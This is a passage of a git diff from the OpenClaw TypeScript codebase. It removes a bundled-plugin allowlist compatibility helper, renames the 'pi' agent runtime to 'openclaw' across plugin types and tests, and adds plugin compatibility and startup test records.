"../config/plugin-auto-enable.js"; import type { OpenClawConfig } from "../config/types.openclaw.js"; import { - withBundledPluginAllowlistCompat, withBundledPluginEnablementCompat, withBundledPluginVitestCompat, } from "./bundled-compat.js"; @@ -15,14 +14,12 @@ import { getCurrentPluginMetadataSnapshot } from "./current-plugin-metadata-snap import type { PluginDiscoveryResult } from "./discovery.js"; export type PluginActivationCompatConfig = { - allowlistPluginIds?: readonly string[]; enablementPluginIds?: readonly string[]; vitestPluginIds?: readonly string[]; }; export type PluginActivationBundledCompatMode = { - allowlist?: boolean; - enablement?: "always" | "allowlist"; + enablement?: "always"; vitest?: boolean; }; @@ -82,9 +79,7 @@ export function withActivatedPluginIds(params: { return params.config; } const originalAllow = params.config?.plugins?.allow ?? []; - // Empty allowlists are still open; only explicit compat widens configured allowlists. - const useAllowlistDiscovery = - params.config?.plugins?.bundledDiscovery !== "compat" && originalAllow.length > 0; + const useAllowlistDiscovery = originalAllow.length > 0; const originalAllowSet = useAllowlistDiscovery ? new Set(originalAllow) : undefined; const allow = new Set(originalAllow); const entries = { @@ -123,18 +118,12 @@ export function applyPluginCompatibilityOverrides(params: { compat?: PluginActivationCompatConfig; env: NodeJS.ProcessEnv; }): OpenClawConfig | undefined { - const allowlistCompat = params.compat?.allowlistPluginIds?.length - ? withBundledPluginAllowlistCompat({ - config: params.config, - pluginIds: params.compat.allowlistPluginIds, - }) - : params.config; const enablementCompat = params.compat?.enablementPluginIds?.length ? withBundledPluginEnablementCompat({ - config: allowlistCompat, + config: params.config, pluginIds: params.compat.enablementPluginIds, }) - : allowlistCompat; + : params.config; const vitestCompat = params.compat?.vitestPluginIds?.length ? withBundledPluginVitestCompat({ config: enablementCompat, @@ -147,28 +136,17 @@ export function applyPluginCompatibilityOverrides(params: { function shouldResolveBundledCompatPluginIds(params: { compatMode: PluginActivationBundledCompatMode; - allowlistCompatEnabled: boolean; }): boolean { - return ( - params.allowlistCompatEnabled || - params.compatMode.enablement === "always" || - (params.compatMode.enablement === "allowlist" && params.allowlistCompatEnabled) || - params.compatMode.vitest === true - ); + return params.compatMode.enablement === "always" || params.compatMode.vitest === true; } function createBundledPluginCompatConfig(params: { compatMode: PluginActivationBundledCompatMode; - allowlistCompatEnabled: boolean; compatPluginIds: string[]; }): PluginActivationCompatConfig { return { - allowlistPluginIds: params.allowlistCompatEnabled ? params.compatPluginIds : undefined, enablementPluginIds: - params.compatMode.enablement === "always" || - (params.compatMode.enablement === "allowlist" && params.allowlistCompatEnabled) - ? params.compatPluginIds - : undefined, + params.compatMode.enablement === "always" ? params.compatPluginIds : undefined, vitestPluginIds: params.compatMode.vitest ? params.compatPluginIds : undefined, }; } @@ -289,10 +267,8 @@ export function resolveBundledPluginCompatibleActivationInputs( applyAutoEnable: params.applyAutoEnable, discovery: params.discovery, }); - const allowlistCompatEnabled = params.compatMode.allowlist === true; const shouldResolveCompatPluginIds = shouldResolveBundledCompatPluginIds({ compatMode: params.compatMode, - allowlistCompatEnabled, }); const compatPluginIds = shouldResolveCompatPluginIds ? params.resolveCompatPluginIds({ @@ -310,7 +286,6 @@ export function resolveBundledPluginCompatibleActivationInputs( workspaceDir: params.workspaceDir, compat: createBundledPluginCompatConfig({ compatMode: params.compatMode, - allowlistCompatEnabled, compatPluginIds, }), discovery: params.discovery, @@ -341,10 +316,8 @@ export function resolveBundledPluginCompatibleLoadValues( autoEnabledReasons = autoEnabled.autoEnabledReasons; } - const allowlistCompatEnabled = params.compatMode.allowlist === true; const shouldResolveCompatPluginIds = shouldResolveBundledCompatPluginIds({ compatMode: params.compatMode, - allowlistCompatEnabled, }); const compatPluginIds = shouldResolveCompatPluginIds ? params.resolveCompatPluginIds({ @@ -358,7 +331,6 @@ export function resolveBundledPluginCompatibleLoadValues( config: resolvedConfig, compat: createBundledPluginCompatConfig({ compatMode: params.compatMode, - allowlistCompatEnabled, compatPluginIds, }), env, diff --git a/src/plugins/agent-prompt-surface-kind.ts b/src/plugins/agent-prompt-surface-kind.ts new file mode 100644 index 00000000000..9cd460479ea --- /dev/null +++ b/src/plugins/agent-prompt-surface-kind.ts @@ -0,0 +1,11 @@ +import type { AgentPromptSurfaceKind } from "./types.js"; + +export function normalizeAgentPromptSurfaceKind( + surface: AgentPromptSurfaceKind, +): AgentPromptSurfaceKind { + return surface === "pi_main" ? "openclaw_main" : surface; +} + +export function isOpenClawMainPromptSurface(surface: AgentPromptSurfaceKind): boolean { + return normalizeAgentPromptSurfaceKind(surface) === "openclaw_main"; +} diff --git a/src/plugins/agent-tool-result-middleware-types.ts b/src/plugins/agent-tool-result-middleware-types.ts index b355dc08606..4d427197921 100644 --- a/src/plugins/agent-tool-result-middleware-types.ts +++ b/src/plugins/agent-tool-result-middleware-types.ts @@ -1,12 +1,10 @@ -import type { AgentToolResult as PiAgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "../agents/runtime/index.js"; -export type OpenClawAgentToolResult = PiAgentToolResult; +export type OpenClawAgentToolResult = AgentToolResult; -export type AgentToolResultMiddlewareRuntime = "pi" | "codex"; +export type AgentToolResultMiddlewareRuntime = "openclaw" | "codex"; /** @deprecated Use AgentToolResultMiddlewareRuntime. */ -export type AgentToolResultMiddlewareHarness = - | AgentToolResultMiddlewareRuntime - | "codex-app-server"; +export type AgentToolResultMiddlewareHarness = AgentToolResultMiddlewareRuntime | "codex-app-server"; export type AgentToolResultMiddlewareEvent = { threadId?: string; diff --git a/src/plugins/agent-tool-result-middleware.test.ts b/src/plugins/agent-tool-result-middleware.test.ts index c01b7f4cc22..92f56d31ad1 100644 --- a/src/plugins/agent-tool-result-middleware.test.ts +++ b/src/plugins/agent-tool-result-middleware.test.ts @@ -3,7 +3,7 @@ import { normalizeAgentToolResultMiddlewareRuntimes } from "./agent-tool-result- describe("normalizeAgentToolResultMiddlewareRuntimes", () => { it("defaults omitted runtimes to every supported runtime", () => { - expect(normalizeAgentToolResultMiddlewareRuntimes()).toEqual(["pi", "codex"]); + expect(normalizeAgentToolResultMiddlewareRuntimes()).toEqual(["openclaw", "codex"]); }); it("preserves an explicit empty runtime list", () => { @@ -12,8 +12,8 @@ describe("normalizeAgentToolResultMiddlewareRuntimes", () => { it("normalizes legacy harness names", () => { expect( - normalizeAgentToolResultMiddlewareRuntimes({ harnesses: ["codex-app-server", "pi"] }), - ).toEqual(["codex", "pi"]); + normalizeAgentToolResultMiddlewareRuntimes({ harnesses: ["codex-app-server", "openclaw"] }), + ).toEqual(["codex", "openclaw"]); }); it("falls back to legacy harnesses when runtimes is undefined", () => { diff --git a/src/plugins/agent-tool-result-middleware.ts b/src/plugins/agent-tool-result-middleware.ts index fc1212631ba..f30f4a308cd 100644 --- a/src/plugins/agent-tool-result-middleware.ts +++ b/src/plugins/agent-tool-result-middleware.ts @@ -6,7 +6,7 @@ import type { import { getActivePluginRegistry } from "./runtime.js"; export const AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIMES = [ - "pi", + "openclaw", "codex", ] as const satisfies AgentToolResultMiddlewareRuntime[]; @@ -14,12 +14,20 @@ const AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIME_SET = new Set( AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIMES, ); +const LEGACY_AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIMES = { + "codex-app-server": "codex", +} as const satisfies Record; + function normalizeAgentToolResultMiddlewareRuntime( runtime: string, ): AgentToolResultMiddlewareRuntime | undefined { const normalized = runtime.trim().toLowerCase(); - if (normalized === "codex-app-server") { - return "codex"; + const legacyRuntime = + LEGACY_AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIMES[ + normalized as keyof typeof LEGACY_AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIMES + ]; + if (legacyRuntime) { + return legacyRuntime; } return AGENT_TOOL_RESULT_MIDDLEWARE_RUNTIME_SET.has(normalized) ? (normalized as AgentToolResultMiddlewareRuntime) diff --git a/src/plugins/bundled-capability-metadata.test.ts b/src/plugins/bundled-capability-metadata.test.ts index 24b23aca8c8..538bbfbb242 100644 --- a/src/plugins/bundled-capability-metadata.test.ts +++ b/src/plugins/bundled-capability-metadata.test.ts @@ -85,7 +85,7 @@ describe("bundled capability metadata", () => { pluginId: "migrate-hermes", cliBackendIds: [], providerIds: [], - providerAuthEnvVars: {}, + providerEnvVars: {}, embeddingProviderIds: [], speechProviderIds: [], realtimeTranscriptionProviderIds: [], diff --git a/src/plugins/bundled-compat.test.ts b/src/plugins/bundled-compat.test.ts new file mode 100644 index 00000000000..975a61b90e2 --- /dev/null +++ b/src/plugins/bundled-compat.test.ts @@ -0,0 +1,42 @@ +import { describe, expect, it } from "vitest"; +import type { OpenClawConfig } from "../config/config.js"; +import { withBundledPluginEnablementCompat } from "./bundled-compat.js"; + +describe("withBundledPluginEnablementCompat", () => { + it("honors bundledDiscovery compat before plugin allowlists", () => { + const config = { + plugins: { + allow: ["discord"], + bundledDiscovery: "compat", + }, + } satisfies OpenClawConfig; + + expect( + withBundledPluginEnablementCompat({ + config, + pluginIds: ["openai", "anthropic"], + })?.plugins?.entries, + ).toEqual({ + openai: { enabled: true }, + anthropic: { enabled: true }, + }); + }); + + it("keeps allowlist mode restrictive for bundled plugin enablement", () => { + const config = { + plugins: { + allow: ["openai"], + bundledDiscovery: "allowlist", + }, + } satisfies OpenClawConfig; + + expect( + withBundledPluginEnablementCompat({ + config, + pluginIds: ["openai", "anthropic"], + })?.plugins?.entries, + ).toEqual({ + openai: { enabled: true }, + }); + }); +}); diff --git a/src/plugins/bundled-compat.ts b/src/plugins/bundled-compat.ts index fb9bd51c596..e9dc5ffdd03 100644 --- a/src/plugins/bundled-compat.ts +++ b/src/plugins/bundled-compat.ts @@ -1,54 +1,19 @@ import type { OpenClawConfig } from "../config/types.openclaw.js"; import type { PluginEntryConfig } from "../config/types.plugins.js"; -import { normalizeUniqueStringEntries } from "../shared/string-normalization.js"; import { hasExplicitPluginConfig } from "./config-policy.js"; import { normalizePluginId } from "./config-state.js"; -export function withBundledPluginAllowlistCompat(params: { - config: OpenClawConfig | undefined; - pluginIds: readonly string[]; -}): OpenClawConfig | undefined { - if (params.config?.plugins?.bundledDiscovery !== "compat") { - return params.config; - } - const allow = params.config?.plugins?.allow; - if (!Array.isArray(allow) || allow.length === 0) { - return params.config; - } - - const allowSet = new Set(normalizeUniqueStringEntries(allow)); - let changed = false; - for (const pluginId of params.pluginIds) { - if (!allowSet.has(pluginId)) { - allowSet.add(pluginId); - changed = true; - } - } - - if (!changed) { - return params.config; - } - - return { - ...params.config, - plugins: { - ...params.config?.plugins, - allow: [...allowSet], - }, - }; -} - export function withBundledPluginEnablementCompat(params: { config: OpenClawConfig | undefined; pluginIds: readonly string[]; }): OpenClawConfig | undefined { const existingEntries = params.config?.plugins?.entries ?? {}; const forcePluginsEnabled = params.config?.plugins?.enabled === false; - const useCompatDiscovery = params.config?.plugins?.bundledDiscovery === "compat"; const allow = params.config?.plugins?.allow; + const bypassAllowlist = params.config?.plugins?.bundledDiscovery === "compat"; const allowSet = - !useCompatDiscovery && Array.isArray(allow) && allow.length > 0 - ? new Set(normalizeUniqueStringEntries(allow.map((pluginId) => normalizePluginId(pluginId)))) + !bypassAllowlist && Array.isArray(allow) && allow.length > 0 + ? new Set(allow.map((pluginId) => normalizePluginId(pluginId)).filter(Boolean)) : undefined; let hasEligiblePlugin = false; let changed = false; diff --git a/src/plugins/capability-provider-runtime.test.ts b/src/plugins/capability-provider-runtime.test.ts index 71a28392210..12263439dfd 100644 --- a/src/plugins/capability-provider-runtime.test.ts +++ b/src/plugins/capability-provider-runtime.test.ts @@ -40,16 +40,6 @@ const mocks = vi.hoisted(() => ({ >(() => ({ plugins: [], })), - withBundledPluginAllowlistCompat: vi.fn( - ({ config, pluginIds }: { config?: OpenClawConfig; pluginIds: string[] }) => - ({ - ...config, - plugins: { - ...config?.plugins, - allow: Array.from(new Set([...(config?.plugins?.allow ?? []), ...pluginIds])), - }, - }) as OpenClawConfig, - ), withBundledPluginEnablementCompat: vi.fn(({ config }) => config), withBundledPluginVitestCompat: vi.fn(({ config }) => config), })); @@ -127,7 +117,6 @@ vi.mock("./plugin-registry.js", async (importOriginal) => { }); vi.mock("./bundled-compat.js", () => ({ - withBundledPluginAllowlistCompat: mocks.withBundledPluginAllowlistCompat, withBundledPluginEnablementCompat: mocks.withBundledPluginEnablementCompat, withBundledPluginVitestCompat: mocks.withBundledPluginVitestCompat, })); @@ -210,7 +199,6 @@ function collectActiveRegistryLookups() { function expectBundledCompatLoadPath(params: { cfg: OpenClawConfig; - allowlistCompat: OpenClawConfig; enablementCompat: { plugins: { allow?: string[]; @@ -220,7 +208,7 @@ function expectBundledCompatLoadPath(params: { }) { expectManifestRegistryLoad(0, params.cfg); expect(mocks.withBundledPluginEnablementCompat).toHaveBeenCalledWith({ - config: params.allowlistCompat, + config: params.cfg, pluginIds: ["openai"], }); expect(mocks.withBundledPluginVitestCompat).toHaveBeenCalledWith({ @@ -233,18 +221,13 @@ function expectBundledCompatLoadPath(params: { function createCompatChainConfig() { const cfg = { plugins: { allow: ["custom-plugin"] } } as OpenClawConfig; - const allowlistCompat = { - plugins: { - allow: ["custom-plugin", "openai"], - }, - } as OpenClawConfig; const enablementCompat = { plugins: { - allow: ["custom-plugin", "openai"], + allow: ["custom-plugin"], entries: { openai: { enabled: true } }, }, }; - return { cfg, allowlistCompat, enablementCompat }; + return { cfg, enablementCompat }; } function setBundledCapabilityFixture( @@ -281,7 +264,6 @@ function expectCompatChainApplied(params: { | "musicGenerationProviders"; contractKey: string; cfg: OpenClawConfig; - allowlistCompat: OpenClawConfig; enablementCompat: { plugins: { allow?: string[]; @@ -329,17 +311,6 @@ describe("resolvePluginCapabilityProviders", () => { mocks.loadPluginManifestRegistry.mockReturnValue(createEmptyMockManifestRegistry()); mocks.loadBundledCapabilityRuntimeRegistry.mockReset(); mocks.loadBundledCapabilityRuntimeRegistry.mockImplementation(() => mocks.createMockRegistry()); - mocks.withBundledPluginAllowlistCompat.mockClear(); - mocks.withBundledPluginAllowlistCompat.mockImplementation( - ({ config, pluginIds }: { config?: OpenClawConfig; pluginIds: string[] }) => - ({ - ...config, - plugins: { - ...config?.plugins, - allow: Array.from(new Set([...(config?.plugins?.allow ?? []), ...pluginIds])), - }, - }) as OpenClawConfig, - ); mocks.withBundledPluginEnablementCompat.mockReset(); mocks.withBundledPluginEnablementCompat.mockImplementation(({ config }) => config); mocks.withBundledPluginVitestCompat.mockReset(); @@ -1168,17 +1139,16 @@ describe("resolvePluginCapabilityProviders", () => { ["videoGenerationProviders", "videoGenerationProviders"], ["musicGenerationProviders", "musicGenerationProviders"], ] as const)("applies bundled compat before fallback loading for %s", (key, contractKey) => { - const { cfg, allowlistCompat, enablementCompat } = createCompatChainConfig(); + const { cfg, enablementCompat } = createCompatChainConfig(); expectCompatChainApplied({ key, contractKey, cfg, - allowlistCompat, enablementCompat, }); }); - it("reuses manifest metadata while applying compat for each config snapshot", () => { + it("reuses manifest metadata while applying bundled compat", () => { const { cfg, enablementCompat } = createCompatChainConfig(); setBundledCapabilityFixture("mediaUnderstandingProviders"); mocks.withBundledPluginEnablementCompat.mockReturnValue(enablementCompat); @@ -1192,11 +1162,6 @@ describe("resolvePluginCapabilityProviders", () => { ); expect(mocks.loadPluginManifestRegistry).toHaveBeenCalledTimes(1); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenCalledTimes(2); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenCalledWith({ - config: cfg, - pluginIds: ["openai"], - }); }); it("reuses capability snapshot loads for the same config object", () => { @@ -1233,7 +1198,7 @@ describe("resolvePluginCapabilityProviders", () => { expect(snapshotLoads).toHaveLength(1); }); - it("reuses equivalent manifest metadata while applying compat per config object", () => { + it("reuses equivalent manifest metadata while applying bundled compat", () => { const first = createCompatChainConfig(); const second = createCompatChainConfig(); setBundledCapabilityFixture("mediaUnderstandingProviders"); @@ -1254,15 +1219,6 @@ describe("resolvePluginCapabilityProviders", () => { ); expect(mocks.loadPluginManifestRegistry).toHaveBeenCalledTimes(1); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenCalledTimes(2); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenNthCalledWith(1, { - config: first.cfg, - pluginIds: ["openai"], - }); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenNthCalledWith(2, { - config: second.cfg, - pluginIds: ["openai"], - }); }); it("reuses a compatible active registry even when the capability list is empty", () => { @@ -1358,7 +1314,6 @@ describe("resolvePluginCapabilityProviders", () => { expectNoResolvedCapabilityProviders(providers); expect(mocks.loadPluginManifestRegistry).not.toHaveBeenCalled(); - expect(mocks.withBundledPluginAllowlistCompat).not.toHaveBeenCalled(); expect(mocks.withBundledPluginEnablementCompat).not.toHaveBeenCalled(); expect(mocks.withBundledPluginVitestCompat).not.toHaveBeenCalled(); expect(mocks.resolveRuntimePluginRegistry).not.toHaveBeenCalled(); @@ -1369,13 +1324,6 @@ describe("resolvePluginCapabilityProviders", () => { plugins: { enabled: false }, messages: { tts: { provider: "mistral" } }, } as OpenClawConfig; - const allowlistCompat = { - ...cfg, - plugins: { - enabled: false, - allow: ["microsoft"], - }, - } as OpenClawConfig; const compatConfig = { ...cfg, plugins: { @@ -1425,12 +1373,8 @@ describe("resolvePluginCapabilityProviders", () => { expectResolvedCapabilityProviderIds(providers, ["microsoft"]); expectManifestRegistryLoad(0, cfg); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenCalledWith({ - config: cfg, - pluginIds: ["microsoft"], - }); expect(mocks.withBundledPluginEnablementCompat).toHaveBeenCalledWith({ - config: allowlistCompat, + config: cfg, pluginIds: ["microsoft"], }); expectInitialRuntimeRegistryLookup(); @@ -1518,11 +1462,6 @@ describe("resolvePluginCapabilityProviders", () => { it("loads only the bundled owner plugin for a targeted provider lookup", () => { const cfg = { plugins: { allow: ["custom-plugin"] } } as OpenClawConfig; - const allowlistCompat = { - plugins: { - allow: ["custom-plugin", "google"], - }, - } as OpenClawConfig; const enablementCompat = { plugins: { allow: ["custom-plugin", "google"], @@ -1567,12 +1506,8 @@ describe("resolvePluginCapabilityProviders", () => { }); expect(provider?.id).toBe("gemini"); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenCalledWith({ - config: cfg, - pluginIds: ["google"], - }); expect(mocks.withBundledPluginEnablementCompat).toHaveBeenCalledWith({ - config: allowlistCompat, + config: cfg, pluginIds: ["google"], }); expectActiveRegistryLookup(["google"]); @@ -1617,7 +1552,6 @@ describe("resolvePluginCapabilityProviders", () => { expect(provider).toBeUndefined(); expect(mocks.loadPluginManifestRegistry).not.toHaveBeenCalled(); - expect(mocks.withBundledPluginAllowlistCompat).not.toHaveBeenCalled(); expect(mocks.withBundledPluginEnablementCompat).not.toHaveBeenCalled(); expect(mocks.withBundledPluginVitestCompat).not.toHaveBeenCalled(); expect(mocks.resolveRuntimePluginRegistry).not.toHaveBeenCalled(); @@ -1625,12 +1559,6 @@ describe("resolvePluginCapabilityProviders", () => { it("loads targeted bundled speech providers through compat when plugins are globally disabled", () => { const cfg = { plugins: { enabled: false, allow: ["custom-plugin"] } } as OpenClawConfig; - const allowlistCompat = { - plugins: { - enabled: false, - allow: ["custom-plugin", "microsoft"], - }, - } as OpenClawConfig; const enablementCompat = { plugins: { enabled: true, @@ -1684,12 +1612,8 @@ describe("resolvePluginCapabilityProviders", () => { }); expect(provider?.id).toBe("microsoft"); - expect(mocks.withBundledPluginAllowlistCompat).toHaveBeenCalledWith({ - config: cfg, - pluginIds: ["microsoft"], - }); expect(mocks.withBundledPluginEnablementCompat).toHaveBeenCalledWith({ - config: allowlistCompat, + config: cfg, pluginIds: ["microsoft"], }); expectInitialRuntimeRegistryLookup(); diff --git a/src/plugins/capability-provider-runtime.ts b/src/plugins/capability-provider-runtime.ts index 7c5a839a004..be67961a308 100644 --- a/src/plugins/capability-provider-runtime.ts +++ b/src/plugins/capability-provider-runtime.ts @@ -3,7 +3,6 @@ import { sortUniqueStrings } from "../shared/string-normalization.js"; import { getLoadedRuntimePluginRegistry } from "./active-runtime-registry.js"; import { loadBundledCapabilityRuntimeRegistry } from "./bundled-capability-runtime.js"; import { - withBundledPluginAllowlistCompat, withBundledPluginEnablementCompat, withBundledPluginVitestCompat, } from "./bundled-compat.js"; @@ -185,12 +184,8 @@ function resolveCapabilityProviderConfig(params: { pluginIds?: string[]; }) { const pluginIds = params.pluginIds ?? resolveBundledCapabilityCompatPluginIds(params); - const allowlistCompat = withBundledPluginAllowlistCompat({ - config: params.cfg, - pluginIds, - }); const enablementCompat = withBundledPluginEnablementCompat({ - config: allowlistCompat, + config: params.cfg, pluginIds, }); return withBundledPluginVitestCompat({ diff --git a/src/plugins/channel-plugin-ids.test.ts b/src/plugins/channel-plugin-ids.test.ts index ad1e53d916e..16234b43eea 100644 --- a/src/plugins/channel-plugin-ids.test.ts +++ b/src/plugins/channel-plugin-ids.test.ts @@ -183,6 +183,14 @@ function createManifestRegistryFixture(): PluginManifestRegistry { musicGenerationProviders: ["google"], }, }, + { + id: "amazon-bedrock", + channels: [], + origin: "bundled", + enabledByDefault: true, + providers: ["amazon-bedrock"], + cliBackends: [], + }, { id: "brave", channels: [], @@ -685,6 +693,25 @@ describe("resolveGatewayStartupPluginIds", () => { }), ["demo-channel", "browser", "memory-core"], ], + [ + "includes bundled model providers selected by agent defaults at startup", + createStartupConfig({ + modelId: "amazon-bedrock/us.anthropic.claude-sonnet-4-5-20250929-v1:0", + }), + ["demo-channel", "browser", "amazon-bedrock", "memory-core"], + ], + [ + "honors explicit plugin disablement for selected model providers", + { + agents: { + defaults: { + model: { primary: "amazon-bedrock/us.anthropic.claude-sonnet-4-5-20250929-v1:0" }, + }, + }, + plugins: { entries: { "amazon-bedrock": { enabled: false } } }, + } as OpenClawConfig, + ["demo-channel", "browser", "memory-core"], + ], [ "includes configured bundled speech providers at startup", { @@ -1589,7 +1616,7 @@ describe("resolveGatewayStartupPluginIds", () => { }, }, } as OpenClawConfig, - expected: ["demo-channel", "browser", "codex", "memory-core"], + expected: ["demo-channel", "browser", "openai", "codex", "memory-core"], }); }); @@ -1598,7 +1625,7 @@ describe("resolveGatewayStartupPluginIds", () => { config: createStartupConfig({ modelId: "openai/gpt-5.5", }), - expected: ["demo-channel", "browser", "codex", "memory-core"], + expected: ["demo-channel", "browser", "openai", "codex", "memory-core"], }); }); @@ -1614,23 +1641,23 @@ describe("resolveGatewayStartupPluginIds", () => { }, }, } as OpenClawConfig, - expected: ["demo-channel", "browser", "codex", "memory-core"], + expected: ["demo-channel", "browser", "anthropic", "openai", "codex", "memory-core"], }); }); - it("does not include Codex when an OpenAI model is manually pinned to PI", () => { + it("does not include Codex when an OpenAI model is manually pinned to OpenClaw", () => { expectStartupPluginIdsCase({ config: { agents: { defaults: { model: { primary: "openai/gpt-5.5" }, models: { - "openai/gpt-5.5": { agentRuntime: { id: "pi" } }, + "openai/gpt-5.5": { agentRuntime: { id: "openclaw" } }, }, }, }, } as OpenClawConfig, - expected: ["demo-channel", "browser", "memory-core"], + expected: ["demo-channel", "browser", "openai", "memory-core"], }); }); @@ -1755,7 +1782,7 @@ describe("resolveGatewayStartupPluginIds", () => { }, }, } as OpenClawConfig, - expected: ["demo-channel", "browser", "memory-core"], + expected: ["demo-channel", "browser", "openai", "memory-core"], }); }); }); diff --git a/src/plugins/cli-backend.types.ts b/src/plugins/cli-backend.types.ts index d5164d0078b..f8175cf03dd 100644 --- a/src/plugins/cli-backend.types.ts +++ b/src/plugins/cli-backend.types.ts @@ -73,6 +73,8 @@ export type CliBackendNormalizeConfigContext = { export type CliBackendPlugin = { /** Provider id used in model refs, for example `claude-cli/opus`. */ id: string; + /** Canonical model provider whose models this CLI backend can execute. */ + modelProvider?: string; /** Default backend config before user overrides from `agents.defaults.cliBackends`. */ config: CliBackendConfig; /** diff --git a/src/plugins/codex-app-server-extension-types.ts b/src/plugins/codex-app-server-extension-types.ts index c9dd43677f0..492094e4ba5 100644 --- a/src/plugins/codex-app-server-extension-types.ts +++ b/src/plugins/codex-app-server-extension-types.ts @@ -1,4 +1,4 @@ -import type { AgentToolResult } from "@earendil-works/pi-agent-core"; +import type { AgentToolResult } from "../agents/runtime/index.js"; export type CodexAppServerToolResultEvent = { threadId: string; diff --git a/src/plugins/command-registration.ts b/src/plugins/command-registration.ts index 6d5d34e03e2..b75116498fb 100644 --- a/src/plugins/command-registration.ts +++ b/src/plugins/command-registration.ts @@ -5,6 +5,7 @@ import { normalizeOptionalLowercaseString, } from "../shared/string-coerce.js"; import { isRecord } from "../utils.js"; +import { normalizeAgentPromptSurfaceKind } from "./agent-prompt-surface-kind.js"; import { clearPluginCommands, clearPluginCommandsForPlugin, @@ -263,8 +264,8 @@ function normalizeAgentPromptGuidance( text: entry.text.trim(), }; if (entry.surfaces) { - normalized.surfaces = entry.surfaces.map( - (surface) => surface.trim() as AgentPromptSurfaceKind, + normalized.surfaces = entry.surfaces.map((surface) => + normalizeAgentPromptSurfaceKind(surface.trim() as AgentPromptSurfaceKind), ); } return normalized; diff --git a/src/plugins/command-registry-state.ts b/src/plugins/command-registry-state.ts index 7b978c1aa99..b8c9cd7d8bd 100644 --- a/src/plugins/command-registry-state.ts +++ b/src/plugins/command-registry-state.ts @@ -1,5 +1,6 @@ import { resolveGlobalSingleton } from "../shared/global-singleton.js"; import { normalizeOptionalLowercaseString } from "../shared/string-coerce.js"; +import { normalizeAgentPromptSurfaceKind } from "./agent-prompt-surface-kind.js"; import type { AgentPromptGuidance, AgentPromptSurfaceKind, @@ -71,7 +72,7 @@ export function listRegisteredPluginAgentPromptGuidance(params?: { for (const command of pluginCommands.values()) { for (const entry of command.agentPromptGuidance ?? []) { const trimmed = resolveAgentPromptGuidanceTextForSurface(entry, { - surface: params?.surface, + surface: params?.surface ? normalizeAgentPromptSurfaceKind(params.surface) : undefined, includeLegacyGlobalGuidance: params?.includeLegacyGlobalGuidance ?? true, }); if (!trimmed || seen.has(trimmed)) { diff --git a/src/plugins/commands.test.ts b/src/plugins/commands.test.ts index 28df6609889..e8fb4ab5a83 100644 --- a/src/plugins/commands.test.ts +++ b/src/plugins/commands.test.ts @@ -385,7 +385,7 @@ describe("registerPluginCommand", () => { expected: { ok: false, error: - "Agent prompt guidance 1 surface 1 must be one of: pi_main, codex_app_server, cli_backend, acp_backend, subagent", + "Agent prompt guidance 1 surface 1 must be one of: openclaw_main, pi_main, codex_app_server, cli_backend, acp_backend, subagent", }, }, { @@ -465,7 +465,7 @@ describe("registerPluginCommand", () => { " Use /demo_cmd everywhere. ", { text: " Use /demo_cmd for main agent routing. ", - surfaces: ["pi_main"], + surfaces: ["openclaw_main"], }, { text: "Use /demo_cmd for subagents.", @@ -481,6 +481,10 @@ describe("registerPluginCommand", () => { "Use /demo_cmd for main agent routing.", "Use /demo_cmd for subagents.", ]); + expect(listRegisteredPluginAgentPromptGuidance({ surface: "openclaw_main" })).toEqual([ + "Use /demo_cmd everywhere.", + "Use /demo_cmd for main agent routing.", + ]); expect(listRegisteredPluginAgentPromptGuidance({ surface: "pi_main" })).toEqual([ "Use /demo_cmd everywhere.", "Use /demo_cmd for main agent routing.", diff --git a/src/plugins/compat/registry.test.ts b/src/plugins/compat/registry.test.ts index 829910dab5d..7dde246b9d8 100644 --- a/src/plugins/compat/registry.test.ts +++ b/src/plugins/compat/registry.test.ts @@ -26,6 +26,23 @@ const deprecatedTargetParserCompatFiles = new Set([ "src/plugins/compat/registry.test.ts", ]); +function listTsFiles(root: string): string[] { + const results: string[] = []; + for (const entry of fs.readdirSync(root, { withFileTypes: true })) { + const childPath = `${root}/${entry.name}`; + if (entry.isDirectory()) { + if (entry.name !== "node_modules") { + results.push(...listTsFiles(childPath)); + } + continue; + } + if (/\.(?:ts|tsx)$/u.test(entry.name)) { + results.push(childPath); + } + } + return results; +} + const knownDeprecatedSurfaceMarkers = [ { code: "legacy-extension-api-import", @@ -62,6 +79,11 @@ const knownDeprecatedSurfaceMarkers = [ file: "src/plugins/agent-tool-result-middleware-types.ts", marker: "AgentToolResultMiddlewareHarness", }, + { + code: "embedded-pi-agent-sdk-aliases", + file: "src/plugins/runtime/types-core.ts", + marker: "runEmbeddedPiAgent", + }, { code: "runtime-config-load-write", file: "src/plugins/runtime/runtime-config.ts", diff --git a/src/plugins/compat/registry.ts b/src/plugins/compat/registry.ts index 807f0998072..aa3a0a803e9 100644 --- a/src/plugins/compat/registry.ts +++ b/src/plugins/compat/registry.ts @@ -103,7 +103,7 @@ export const PLUGIN_COMPAT_RECORDS = [ diagnostics: ["hook runner contract probe"], tests: [ "src/plugins/hooks.security.test.ts", - "src/agents/pi-tools.before-tool-call.e2e.test.ts", + "src/agents/agent-tools.before-tool-call.e2e.test.ts", ], }, { @@ -455,6 +455,29 @@ export const PLUGIN_COMPAT_RECORDS = [ diagnostics: ["plugin SDK compatibility warning"], tests: ["src/plugins/contracts/plugin-sdk-subpaths.test.ts"], }, + { + code: "embedded-pi-agent-sdk-aliases", + status: "deprecated", + owner: "agent-runtime", + introduced: "2026-05-21", + deprecated: "2026-05-21", + warningStarts: "2026-05-21", + removeAfter: "2026-08-21", + replacement: "`runEmbeddedAgent` and `EmbeddedAgent*` SDK/runtime names", + docsPath: "/plugins/sdk-runtime", + surfaces: [ + "api.runtime.agent.runEmbeddedPiAgent", + "openclaw/extension-api runEmbeddedPiAgent", + "openclaw/plugin-sdk/agent-harness-runtime EmbeddedPi* aliases", + ], + diagnostics: ["plugin SDK compatibility registry"], + tests: [ + "src/plugins/runtime/index.test.ts", + "src/plugins/contracts/plugin-sdk-subpaths.test.ts", + ], + 